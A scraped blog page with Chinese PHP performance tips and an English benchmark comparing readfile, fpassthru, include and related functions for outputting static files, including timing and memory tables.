3.优化Select SQL语句,在可能的情况下尽量少的进行Insert、Update操作(在update上,我被恶批过);

 

4.尽可能的使用PHP内部函数(但是我却为了找个PHP里面不存在的函数,浪费了本可以写出一个自定义函数的时间,经验问题啊!);

 

5.循环内部不要声明变量,尤其是大变量:对象(这好像不只是PHP里面要注意的问题吧?);

 

6.多维数组尽量不要循环嵌套赋值;

 

7.在可以用PHP内部字符串操作函数的情况下,不要用正则表达式;

 

8.foreach效率更高,尽量用foreach代替while和for循环;

 

9.用单引号替代双引号引用字符串;

 

10.“用i+=1代替i=i+1。符合c/c++的习惯,效率还高”;

 

11.对global变量,应该用完就unset()掉;




Modified At 2008-05-26 15:58:33

Readfile vs include

It is not often that you can write a PHP script that does not need to include the contents of different files as part of it’s output. If these includes happen to be php scripts themselves you have no choice but to use require or include. However more often than not, the contents are static, usually html template component. With static includes you have many more options available. aerwear We will analyse some of these functions to find out which one is most suitable when dealing with files with static content. We use the term function loosely, because require and include are not real functions but language constructs.

 

























Function

Brief Description

string file_get_contents ( string filename [, int use_include_path])

Reads entire file into a string

int fpassthru ( resource handle)

Output all remaining data on a file pointer

string fgets ( resource handle [, int length])

Gets line from file pointer

array file ( string filename [, int use_include_path])

Reads entire file into an array

require(string filename)

include(string filename)

require_once(string filename)

include_once(string filename)

includes and evaluates the specific file.

int readfile ( string filename [, int use_include_path])

Outputs a file


We will now attempt to ‘include’ the contents of a 1 megabyte file into the output produced by our php script. How you can generate files of specific sizes is described elsewhere. The execution times and peak memory consumption, as reported by xdebug have been tabulated below.

We compensate for file caching and background processes by executing each script 4 times and taking the average (mean) of the result number 2-4. The first result is always rejected. Any result that appears to be outlier is rejected. The mean is rounded to 5 decimal places.

 












































Function

Sample Usage

Time (s)

Memory (b)

file_get_contents

echo file_get_contents($filename);

0.00564

1067856

fpassthru

fpassthru($fp);

0.00184

20032

fgets

$fp = fopen($filename,”rb”);

while(!feof($fp))

{

    echo fgets($fp);

}

0.07190

30768

file

echo join(“”,file($filename));

0.06464

2185624

require_once

require_once($filename);

0.08065

2067696

include

include($filename);

0.08202

2067696

readfile

readfile($filename);

0.00191

19208


What’s obvious from these results is that using fpassthru is far superior to all other methods. What’s not so obvious is that fpassthru and readfile are equally good. The fpassthru version runs 0.00007 seconds quicker than the readfile version. What that really means is that you need to run the script at least 100000 times to make significant saving. On memory consumption readfile seems to have use up around 1kb less than passthru. A kilo byte is a drop in the ocean for modern web servers with hundreds of megabytes if not gigabytes of memory.

 

The only conclusion that can be drawn from these studies is that fpassthru and readfile are equally good if you wish to include static content as part of the script’s output.

 

Before you rush off to change all your includes and requires into readfiles or fpassthrus let’s run the same test with a smaller (32Kb file). 32Kb is a more realistic size for an included file.

 
























































Function

Time (s)

Memory (b)

 

32Kb File

1Mb File

32Kb File

1Mb File

file_get_contents

0.00152

0.00564

52480

1067856

fpassthru

0.00117

0.00184

20016

20032

fgets

0.00195

0.07190

30760

30768

file

0.00157

0.06464

87344

2185624

require_once

0.00225

0.08065

67992

2067696

include

0.00222

0.08202

67928

2067624

readfile

0.00117

0.00191

19192

19208


readfile and fpassthru have once again tied for first place. This new set of results just confirms the fact that speed and scalability comes from your design and not from your code. The difference between the best performance and the worst is just 0.00108s too close to call.

 

The most significant feature of these results is that both fpassthru and readfile scale really well. In other words, memory consumption and execution time does not increase significantly with increase in file size. That does not always mean your script will be faster just because you use these functions instead of require or include.

 

 


This page was last modified 10:56, 3 Aug 2006.




Modified At 2008-05-23 23:16:26